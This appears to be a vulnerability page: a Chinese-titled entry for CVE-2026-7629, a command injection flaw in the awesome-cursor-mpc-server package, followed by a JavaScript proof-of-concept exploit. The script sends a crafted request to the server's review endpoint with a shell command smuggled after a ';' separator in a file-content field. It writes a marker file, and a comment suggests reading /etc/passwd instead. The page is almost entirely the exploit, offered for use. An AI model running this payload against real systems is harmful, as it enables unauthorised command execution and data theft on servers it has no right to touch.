CVE-2026-7629 awesome-cursor-mpc-server命令注入漏洞

// PoC for CVE-2026-7629 Command Injection // Target: kleneway awesome-cursor-mpc-server <= 2.0.1 const axios = require('axios'); async function exploitCommandInjection() { const targetUrl = 'http://target-host:port/api/review'; // Replace with actual endpoint // The payload injects a command separator ';' followed by a system command // Example: Touching a file to prove execution or reading /etc/passwd const maliciousPayload = { "fileName": "test.js", // Injection payload: ; echo 'CVE-2026-7629' > /tmp/pwn.txt # "content": "const x = 1; echo 'CVE-2026-7629' > /tmp/pwn.txt #" }; try { console.log("[+] Sending malicious payload to target..."); const response = await axios.post(targetUrl, maliciousPayload); console.log("[+] Request sent. Check if file /tmp/pwn.txt was created on target."); console.log("[+] Response:", response.data); } catch (error) { console.error("[-] Exploit failed:", error.message); } } exploitCommandInjection();